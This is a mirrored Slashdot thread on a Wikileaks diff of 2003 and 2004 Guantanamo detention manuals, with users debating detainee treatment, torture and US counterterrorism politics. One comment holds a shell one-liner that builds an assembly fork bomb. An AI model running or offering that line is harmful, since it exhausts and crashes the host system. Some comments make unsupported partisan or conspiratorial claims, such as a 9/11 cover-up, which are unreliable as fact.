Slashdot Mirror
Diffing Guantanamo Bay SOP Manuals
James Hardine writes "The Washington Post is reporting that Wikileaks has released another manual for Camp Delta, Guantanamo Bay together with the US military's rendition operations manual. This release follows from the Wikileaks release of the 2003 SOP Manual as discussed on Slashdot last month. Wikileaks compares the two manuals (2003, 2004) and reveals damning changes in official US detainee policy in exquisite detail. Who knew that diff could be such a powerful political weapon?"
1. Policies in regard to treatment of prisoner's shoes.
A. Shit in them.
So basically, -1 troll/offtopic is really slashdots way of saying "I hate that you thought of something before me."
In my last job, I'd pull word docs through antiword and then diff them; usually contracts for salespeople who got these fuckers from other parties and wanted to make sure none of the language had changed. Very quick and powerful indeed.
Religion is what happens when nature strikes and groupthink goes wrong.
Except for the fact that soldiers no longer have to carry a human rights card, what are these damning changes? I see little to protest in the diff.
Here we say that these people are the worst of the worst then try to send them to their home countries who either don't take them back (they've already been labeled a pariah but the U.S.) or they grant them a full pardon if tired in civilian courts.
I don't agree with this sort of treatment, but what should we do with them now? It's a bit late to say don't let it happen in the first place. We have a large group of people pissed off at the United States and with good reason. If we let them go and their home countries won't take them back, where should we put them?
Ask not what you can do for your country. Ask what your country did to you
Reading this article made me realize just how we've all fallen victim to the "boiling frog syndrome". Ten years ago it would have seemed nuts to be reading, and hearing about, the operation of concentration camps in the West, other than when reading about WWII. Now we read stuff about concentration camps, internment, loss of habeas corpus, the US kidnapping people from around the world, etc, and it's all just regular, "same old" news. A few people still feel a little shock, and even fewer actually bother to do anything about it, while the rest of us twiddle our thumbs and either hope it'll all go away or think that "well, we've done nothing wrong, so we'll be fine."
I wonder what sort of stories we'll be reading in another ten years that would shock us now but will seem like regular occurrences in 2017? Thoughtcrime executions, archived recording of all telephone calls (the European Union is already working on this!), incarcerating people because they have the "genes" of a potential psychopath (again, the EU is looking into this)? It's gunna happen and we'll just keep boiling like the frogs we are.
How's about comparing it to al Qaeda's manual?
http://www.thesmokinggun.com/archive/jihadmanual.html
...hope you are proud of the work you are doing.
Me too. I'm very proud of people who actively try to make the world a better place by exposing the atrocities committed by these pigs. I say, Right on! And feel free to log in the next time you post, Mr. President. You have nothing to fear from us.
What?
diff oldboss.txt newboss.txt | wc -l
0
Well, it has never been successfully tested.
as the 'Camp Delta delta'?
From this day forward diff will be known as "rm." Please update all records accordingly. Sincerely, the ministry of homeland security.
This seems to be the scariest change for me. MPs can handle that type of guard duty. Changing all references of MP to Guard means the military can start using either regular enlisted who are not properly trained to run a prison, or hire private contractors to run the prison. We already have private prisons stateside.
I wonder if they're as proud as Bush was for ignoring memos titled Bin Laden determined to attack in US, not taking heed (and improving airline security), and successfully making us vulnerable to an attack.
Cause that's totally comparable to someone releasing the SOP manuals of a prison.
You see, friend, it's people like you who "weaken" and make America "more vulnerable to terrorist attacks". Instead of targeting your anger toward an administration that has let its incompetence actually harm American interests, you'd rather cry about some hypothetical weakening.
If they are guilty then charge them and let them have their day in court.
If there is no evidence then release them.
But holding them indefinitely on hearsay and suspicion in a legal limbo is madness. The problem will not get easier to deal with the longer you leave it, at some point they will have to be dealt with - so better to get it out of the way now. Confront the problem whatever the cost, return or charge them, and get that embarrassment and shut down.
"exercise as punishment is prohibited."
... :)
Okay do 500 pushups and tell me that isn't punishment. Run 20 miles with no water and tell me that isn't punishment.
Actually excessive exercise is a pretty effective form of torture. There is a line between torture and punishment. Three days in solitary confinement is a punishment. Six years could be torture. Being given 20 push ups to do is punishment for a solder. two hundred
For the average Slashdot reader two push ups might be a violation of their human rights
I am actually pretty conservative but torture is wrong.
See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
Exactly how did this weaken America? America is suppose to be the land of the free and a place where democracy rules. Gitmo is a prison (from what I understand, it is the nicest of all of our external prisons) where we are holding suspects. This prison is the one that the feds MEANT to show the press. So why should the press and our citizens not see what is the absolute nicest that we will be.
What should worry ppl is what is NOT being seen. In those dark rooms, is where we should be casting a light.
I prefer the "u" in honour as it seems to be missing these days.
I am actually pretty conservative but torture is wrong.
It's sad that conservatism has fallen into such disrepute. I used to think, "Hey, my conservative friends and I want the same things. We just have different ideas about how to accomplish those things."
Now, all my "conservative" friends are suddenly very liberal. They haven't changed. The terms have changed.
Microsoft is to software what Budweiser is to beer.
Which "limp-wristed" responses are you referring to? The ones where the Republican congress and conservative media shouted "Wag the Dog!" over and over to force him to stop attempting to kill Bin Laden?
After all, shooting rockets into Afghanistan to try blow up known terrorist training camps had nothing to do with Clinton trying to protect America - it was all about distracting people from his blow job.
..the "damning" changes.
Policy will now be reviewed every 30 days instead of 120 days.
New rules:
1. Comply with all rules and regulations. You are subject to disciplinary action if you disobey any rule or commit any act, disorder, or neglect that is prejudicial to good order and discipline.
2. You must immediately obey all orders of U.S. personnel. Deliberate disobedience, resistance, or conduct of a mutinous or riotous nature will be dealt with by force. Be respectful of others. Derogatory comments toward camp personnel will not be tolerated.
3. You may not have any articles that can be used as a weapon in your possession at any time. If a weapon is found in your possession, you will be severely punished. Gambling is strictly forbidden.
4. Being truthful and compliance will be rewarded. Failure to comply will result in loss of privileges.
5. All trash will be returned immediately to U.S. personnel when you are finished eating. All eating utensils must be returned after meals.
6. No detainee may conduct or participate in any form of military drill, organized physical fitness, hand-to-hand combat, or martial arts style training.
7. The camp commander will ensure adequate protection for all personnel. Any detainee who mistreats another detainee will be punished. Any detainee that fears his life is in danger, or fears physical injury at the hands of another person can report this to U.S. personnel at any time.
8. Medical emergencies should be brought to the guards' attention immediately. Your decision whether or not to be truthful and comply will directly affect your quality of life while in this camp.
(nothing in there seems particularly onerous. Aside from #2, it wouldn't make a bad set of rules for any school in the US.)
(stopped reading because I have better things to do)
I'd rate this -1, Overrated. It's a bunch of clarifications, seems to me as much for the detainees' benefit as anyone.
-Styopa
From: "Exceptions may be granted by the JIG Commander for the purpose of interrogations."
To: "The JIG Commander my grant exceptions for the purpose of interrogations."...
(my emphasis)
Anyone else spot what should be wrong about this statement?
From the 9/11 hearings when Senator Gorton interviewed Richard Clarke, the Clinton Administration's Terror Czar and head of counter-terrorism.
FORMER SEN. SLADE GORTON: Assuming that the recommendations that you made in... on January 25 of 2001 based on blue sky, including aid to the northern alliance which had been an agenda item at this point for two-and-a-half years without any action, assuming that there had been more predator reconnaissance missions, assuming that that had all been adopted, say, on January 26, the year 2001, is there the remotest chance that it would have prevented 9/11?
RICHARD CLARKE: No.
Unequivocal. The person in charge of counter-terrorism up to the very date that the Bush administration started CONFIRMED that 9/11 was already irreversibly in motion. The opportunity to stop it had already passed.
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
"What will be the duration of the current "armed conflict"? "
Welcome to the problem with the Geneva Conventions - they were written for a different kind of war.
If I had to put an end date to it, I'd say that the "conflict" is ended when the nation from which they were taken is in a position to restrain them from further combat if returned. In specific, send them back to Afghanistan when the government there can guarantee they won't be wielding an AK any more - Taliban eradicated, and control of the whole country. This is in the spirit of the original conventions - soldiers are returned when the war is over and they won't fight anymore.
For insight, look up the concept of "parole" as it pertains to war - POW's can be released if they promise to not engage in combat against the capturing country. If they do, they are not subject to the GC's anymore - at the time the GC's were written, that was understood to mean "shot out of hand for being a saboteur/spy". The idea is that, once a soldier is captured, he should cease to be a threat.
"As God is my witness, I thought turkeys could fly." A. Carlson
It's actually hard for me to tell if you actually believe that bullshit, or if it's somehow satire.
And if you do believe it, maybe you should watch the Colbert Report anyway. I bet you wouldn't realize it's a joke.
Don't thank God, thank a doctor!
After all, shooting rockets into Afghanistan to try blow up known terrorist training camps had nothing to do with Clinton trying to protect America - it was all about distracting people from his blow job. As a non American, I think it's appalling that both the Republicans and the Democrats make these sorts of comments about foreign policy when they are out of office.
In the UK we have a tradition of bipartisanship over this sort of stuff - it's something which the opposition is briefed over and is normally exempt from political sniping, unlike domestic issues which are fair game. Like most UK stuff it's not official - the two halves of the establishment essentially have an agreement not to argue in public about things that seriously threaten them. It works pretty well in practice though - in WWII when the UK was in dire danger of invasion they agreed form a coalition government, suspend elections, lock up Nazi sympathizers, censor the press and have a planned economy. Once the war was won all this was reversed and elections were held, which Churchill lost. Arguably in the London bombings there was at least some hint of this - the shoot to kill policy by the police was bipartisan and when it killed the wrong person and was thus clearly untenable the decision to stop it was also bipartisan. But counter terrorism policy is still something which is handled by a sort of hypervisor composed of Labour and the Conservative front benches and the spooks rather than by the normal adversarial system where they each compete and criticise each other openly.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
So basically, we want a pro-US government in Afghanistan that will take these prisoners, and then throw them in prison indefinitely (or execute them)? At that point, we'll be willing to call the conflict resolved?
Sorry, but that sounds like empire building to me. Of course, an alternative would be that enemy combatants are released to Afghanistan, who subsequently "forgets" about them. Said combatant then disappears to Durkadurkastan for a while, and we call that a victory as well, since they are no longer fighting against us for Afghanistan?
This of course also seems to ignore the fact that these guys were often
So I don't think it really makes sense even to depend on new Afghanistan leadership to take care of these prisoners who may or may not be from there to begin with.
Taliban eradicated, and control of the whole country
There's also a problem here with defining eradication of the Taliban. Is that just when they are no longer in Afghanistan? Because of course there are pro-Taliban forces outside of Afghanistan. And the Taliban itself is almost as much of an idea as it is an organization. How does one eradicate an idea? And beyond that, don't forget that it wasn't that long ago that Taliban representatives were welcomed into the US.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
In this context, it might be relevant to note that our use of such legal reasoning to avoid giving captured enemy combatants the protection of either the Geneva conventions—or any other sort of law—is not without precedent. In 1941, General Eisenhower declared all captured German soldiers to be "Disarmed Enemy Forces", and not prisoners of war. This meant that the United States was free to ignore international laws that required such niceties as feeding prisoners (see http://en.wikipedia.org/wiki/Rheinwiesenlager or http://en.wikipedia.org/wiki/Eisenhower_and_German_POWs for some background). It also meant that "extraordinary" interrogation methods could be used to obtain evidence for the upcoming war crimes trials. The justification for Eisenhower's action was that the German state no longer existed, and that the prisoners were thus no longer the soldiers of any such state. I guess they were "non-state actors".
The major difference between 1941 and today is that this treatment of German prisoners was temporary, lasting only a matter of months, while now we have the Never-Ending War on Terror.
Great men are almost always bad men--Lord Acton's Corollary
What a nice re-writing of history in which you ignore that not only did Clinton respond to those attacks, but he was met by opposition from a Republican-controlled congress the entire time.
Even if your claim had a hint of truth, wasn't it the Bush administration's duty to correct for Clinton's alleged errors in judgment? You state yourself that Al-qaeda was known to be a threat for years, yet Bush still didn't acknowledge their threat until the towers fell.
What could have been done in 5 months? How about an analysis of weaknesses in airline security? How about hardened cockpits? How about the use of air marshalls? How about anything?
You should try reading. I assure you it's more fun than purchasing a patriotic bumper sticker!
You expect me to respect you more for signing up to go invade a foreign country and kill people who never did anything to us? Tool. I've talked with plenty of protesters, and the most retarded activist out there is a damn site smarter than you. You aren't doing anything to change the world or make it a better place. Your morals are out of whack, and the things you think you're doing for the greater good are making us more enemies, not making us more secure. You aren't keeping us free, you are fighting for masters who would make us slaves. Congratulations, you've made the world a more dangerous place through your actions. People who sit on their fat asses are better than you, at least they aren't making the world worse. But oh, I'm sure every single one of the people you've killed was a bad guy. Have fun sleeping with your guilt and nightmares for the rest of your life.
- None can love freedom heartily, but good men; the rest love not freedom, but license. -- John Milton
Military Police work on every single US military installation in the country, probably the world. They control traffic at gates, catch speeders, and write parking tickets just like their civilian counterparts. They also work in brigs watching over our own troops. Your assertion that Military Police only guard POWs is completely, and utterly wrong. 'Guard' in this case may mean US military personnel OTHER than strictly MPs.
You all want to know one of the main reasons things like SOPs for military installations are marked FOUO? Or why anything is marked FOUO for that matter? It's because there are too many idiots who misinterpret things because they don't understand BASIC military terminology for one, or they can't even begin to understand what our military actually does.
One after another, "Maybe it's Blackwater", "Maybe the prisoners are guards", "Maybe it's aliens". It makes present and former military personnel sick. That is WHY many things are FOUO.
This SOP was written for a very specific audience, BTW. The whole "Camp Rules" section at the top of the diff smells very fake, and at the very least is out of place/context. It would be a separate document, and obviously in different languages. If it were to be included with the SOP, I doubt the translations would be absent. Who the hell keeps getting these as PDFs anyway? I didn't think they were ever distributed electronically outside of formal messaging systems. They're usually just kept in a binder somewhere.
Semper Fi
You have to take all of those hearings with a grain of salt. Even the chairman of the committee has gone on the record to say that they didn't get the whole story and that they had problems getting statements from key witnesses. The 9/11 Commission was put together to lend legitimacy to a pre-formed conclusion. Any evidence that failed to fit into the predetermined paragidm was supressed and left out of the "official" record.
For the record, you're calling a memo titled "Bin Laden determined to attack in US" vague? It seems rather to the point to me. What did you expect, a detailed plan of 9/11?
:) has been independant of Clinton, though I have commented in the past about what I felt were unfair comparisons to Nixon, especially in regard to foreign relations.
Also, apart from any analysis on your "limp-wristed" claim, what does Clinton have to do with Bush? Last time I checked, Republicans didn't regard Clinton as a standard on which to judge other presidents, but yet they do? If you're going to defend Bush, you should pick someone you don't think was a terrible president (I'm assuming this, but it seems to be a fair assumption) to compare him to. Anyway, congrats on the first BBBBBBUT CLINTON! post of the thread (that I've bothered to read, anyway). There's a reason this has been meme-ified. It's because it's a really bad argument...
I'm not necesarily a big fan of Clinton's policies, but given the congress he was dealing with, hell-bent on destroying his presidency, I think he did a fair job running the country. However, were I to defend him, I would certainly not talk about Bush unless someone else was unfairly comparing him to Bush. Any critisism or praise I've had for Bush (yes, IMHO, he has had a few moments
"Question with boldness even the existence of a god." - Thomas Jefferson
In the US there used to be a tradition whereby ex-Presidents did not criticize current Presidents. Jimmy Carter and Bill Clinton have thrown this out the window, repeatedly criticizing President Bush. /. makes that seem unlikely.
I'm not saying Bush is above criticism, but the era of 'working together' on foreign policy is over. Even Harry Reid is ignoring the evidence of the current surge in Iraq actually working and instead saying it's a failure because it doesn't meet his expectations, whatever those are in his capacity as a representative of Nevada.
Sadly, since they tried to tag Viet Nam as "Nixon's War" (despite Dick not getting involved until it had been going on for almost 6 years) foreign policy has been extremely volatile in the US.
I was hoping that when the Baby Boomers died we would have a return to common sense.
Current political commentary on
The opposite of progress is congress
The erosion of our freedom concerns me greatly, and I think that is where we really need to put our focus, not so much what we're doing abroad, but what we're doing here.
If the erosion of your freedoms really concerns you then you should be concerned about the fact that the Commission charged with investigating what happened wasn't given the full freedom to investigate it. You should care that more money was spent investigating why the Challenger blew up, or investigating Clinton's blow job than was spent investigating 9/11/01. Our government has been into messy, black ops stuff for a LONG time... from over throwing popularly elected governments and causing coups (Iran), to supporting oppressive military dictators (Pakistan, Iraq under Saddam), to all sorts of nastiness with drugs (Iran Contra, CIA ops). I'm not saying that the government planned and executed 9/11... that's crazy talk. The government has been covering up any sort of investigation into what really took place though. There has been so much crazy shit that our government has been involved with over the last fifty years that is finally coming home to roost that they can't let it get out. bin Laden was a CIA asset. Saddam was an allie of the United States. The fact of the matter is that our government has made some REALLY BAD foreign policy decisions that have alienated and pissed off a huge portion of the population of the world. At this point in the game the government needs to keep up the facade that they can "protect" us from evil terrorists while concealing the fact that the "evil terrorists" want to attack us because of what the government has been doing since before I was even born.
It baffles me that you can say that you care about the erosion of our freedom and liberty here at home, yet at the same time call me into question for questioning what has taken place since 9/11. Everything that is going on with the erosion of our freedoms is BASED ON 9/11. 9/11 is used as the justification for all of the nonsense that is taking place with the PATRIOT Act, suspension of habeus corpus, wiretaps and everything else.